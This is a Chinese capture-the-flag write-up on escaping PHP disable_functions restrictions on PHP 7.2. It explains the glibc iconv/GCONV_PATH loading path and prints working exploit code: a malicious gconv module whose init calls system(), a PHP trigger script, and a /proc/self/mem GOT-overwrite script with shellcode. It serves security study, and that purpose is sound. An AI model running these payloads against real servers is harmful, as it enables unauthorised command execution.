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ByteCTF WP-无需mail bypass disable_functions

前言

首发：

在刚结束的ByteCTF的中，@f1sh师傅出了一道bypass php disable_functions的题目，预期解是通过web的方式，在有putenv的情况下，无需mail/imagemagick等组件，用一种新的方式实现bypass。
最终在和@Yan表哥讨论后，我们找到了题目的预期解法–iconv，这篇文章记录一下在解题过程中我们尝试过的各种思路，比如线上赛的exception类非预期、利用php bugs中的一些uaf(向Kirin爷爷学习)、直接写/proc/self/mem、其他pwn/web的姿势。这里膜一下@Sndav师傅，通过一个pwn的洞实现php5-8通杀，降维打击非预期，orz

环境

题目环境是php7.2.24 ubuntu1804，disable_functions和disable_classes如下：

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disable_functions =pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,ini_set,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive

disable_classes =Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException

预期解

原理

在对比题目的disable_functions和之前比赛的时，发现这里ban的iconv确实有点莫名其妙，于是就找到了这篇文章，但是这篇文章的姿势也是需要iconv的。那这里是否存在绕过呢？

首先来动态调一下php iconv的流程，理解文章中姿势的原理。php的iconv本质上还是调用了glibc中的iconv，因此需要gdb调试一下glibc。这里直接装了带符号的glibc，然后LD_LIBRARY_PATH设置成带符号libc.so的地址，就可以开始调试了。

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gdb php
gdb-peda$ set verbose on
gdb-peda$ dir /usr/lib/debug/lib/x86_64-linux-gnu/
Source directories searched: /usr/lib/debug/lib/x86_64-linux-gnu:$cdir:$cwd
gdb-peda$ b __gconv_read_conf
gdb-peda$ r /var/www/html/1.php

从php对iconv的调用开始看。为了防止和libc命名冲突，iconv.c用PHP_NAMED_FUNCTION将iconv注册为php_if_iconv，在iconv_functions中也能看到PHP_RAW_NAMED_FE创建的iconv到php_if_iconv的映射。

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PHP_RAW_NAMED_FE(iconv, php_if_iconv, arginfo_iconv)

断在php_if_iconv看一下处理过程
-w773

跟进php_iconv_string，其中调用了iconv_open()，而iconv_open就是libc中的函数了。
-w1011

这里直接断在__gconv_read_conf，看看调用栈：
-w729

继续单步，根据开头的文章，进入__gconv_find_shlib然后调用__libc_dlopen和__libc_dlsym，调用了so中的方法，从而rce
-w689

-w921

因此，除了iconv，其他调用了iconv_open()的函数也是可以触发rce的，比如iconv_strlen，php://filter中的convert.iconv等等。

-w961

这里payload能调用到payload.so是因为iconv除了系统提供的gconv模块外，还支持使用GCONV_PATH指定的自定义gconv模块目录下的模块。因此设置GCONV_PATH后，通过我们设置的gconv-modules，就可以在编码转换时如果遇到payload编码，就回去调用payload.so了。

但是这个漏洞最终的触发还是在glibc中，而我本地mac的libc并不是glibc，使用的iconv也是mac的libiconv，看了一下实现，mac环境并不能触发这个漏洞。

利用

gconv-modules

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module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

payload.c

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#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("touch /tmp/lfy");
  exit(0);
}

1.php

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<?php
	putenv("GCONV_PATH=/tmp/");
	// iconv_strlen("1","payload");
	iconv("payload", "UTF-8", "whatever");
?>

然后gcc payload.c -o payload.so -shared -fPIC，再php 1.php即可。

PS：
推荐下AntSword的ant.so，LD_PRELOAD设置一下劫持system后，执行命令方便很多。

线上非预期(from CNSS)

在官方wp中写了：

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https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
此 exp 展示了两种调用 debug_backtrace() 的方法，一种是26行的直接调用，一种是24行调用 (new Exception)->getTrace() ，而题目把这两种方法都 disable 了。然而还有第三种方法可以调用，只要把24行改为  (new Error)->getTrace() 即可。

除此之外，我们还可以看到在线下赛题目的disable_functions和disable_classes中，多了很多很多Exception和Error类…这些类都是可以触发这个uaf的。比赛时还觉得出题人会不会ban漏一个，结果发现出题人直接从get_declared_classes()中选出来ban了（

探索过的失败的非预期

LD_PRELOAD

先让我们回忆下通过LD_PRELOAD实现bypass的方式。
LD_PRELOAD设置一个在程序运行前优先加载的动态链接库，利用attribute((attribute-list))，可以通用的劫持php中新启动进程的函数，比如mail系列、Imagick等。但题目环境中这些都被ban了，imap模块也没开，因此都不能用。那么有没有其他的还没被发现的启动新进程的函数呢？

线上时我们通过get_defined_function拿到所有环境中的变量，然后参考安全客这篇文章的fuzz方式，对这些函数进行了fuzz，结果并没有找到…

写/proc/self/mem

参考之前对宝塔rsap绕过的文章，直接往/proc/self/mem写shellcode劫持got表，看起来也是可以的。

Kirin爷爷测试用php-cli也确实是可以覆盖的，exp如下：

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<?php
    function get_p64($magic){
       $tmp="";
       for($i=0;$i<8;$i++){
       $n_tmp=($magic>>($i*8))&0xff;
       $tmp.=chr($n_tmp); 
      }
      return $tmp;
    }
    $leak_file = fopen('/proc/self/maps', 'r');
    $base_str = fread($leak_file,12);
    $pie_base= hexdec($base_str);
    echo $pie_base;
    $mem = fopen('/proc/self/mem', 'wb');
    
    $shell = $pie_base + 0x0E6800; 
    fseek($mem, $shell);
    $a="jgH\xb8/readflaPH\x89\xe71\xd21\xf6j;X\x0f\x05";
    fwrite($mem,  $a);
    fseek($mem,$pie_base+0x0068FE68);
    fwrite($mem,get_p64($shell));
    readfile("123","r");
?>

然而测试apache的时候，发现没有权限。虽然/proc/self/mem是www-data的，权限也是600，但是php就是没权限获得句柄。。。
-w1121

后来研究发现，apache是root运行的父进程，然后 setuid将子进程降权为www-data，/proc/self/目录属于root用户，因此子进程无权限读写。如果是nginx+php，对于低版本的php-fpm，www-data权限的子进程，/proc/self/目录属于www用户可以读写，tsrc这篇文章测试结果是php<5.6 版本是可以使用GOT表劫持。

写一下劫持GOT表的步骤，这里直接写shellcode：

  1. 读/proc/self/maps找到php和libc在内存中的基址
  2. 解析/proc/self/exe找到php文件中readfile@got的偏移
  3. 找个能写的地址写shellcode
  4. 向readfile@got写shellcode地址覆盖
  5. 调用readfile

PHP Bugs

之前的很多bypass是uaf等pwn下来的，就让Kirin爷爷帮忙调了几个7.2.24的uaf，发现都不行，有的只能leak，期待Sndav的姿势学习一下orz

总结

web狗有空还是得看点bin…

参考链接

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https://bytectf.feishu.cn/docs/doccnqzpGCWH1hkDf5ljGdjOJYg?login_redirect_times=1#l1Qx86
https://xz.aliyun.com/t/7990
https://www.anquanke.com/post/id/197745
https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80
https://security.tencent.com/index.php/blog/msg/166
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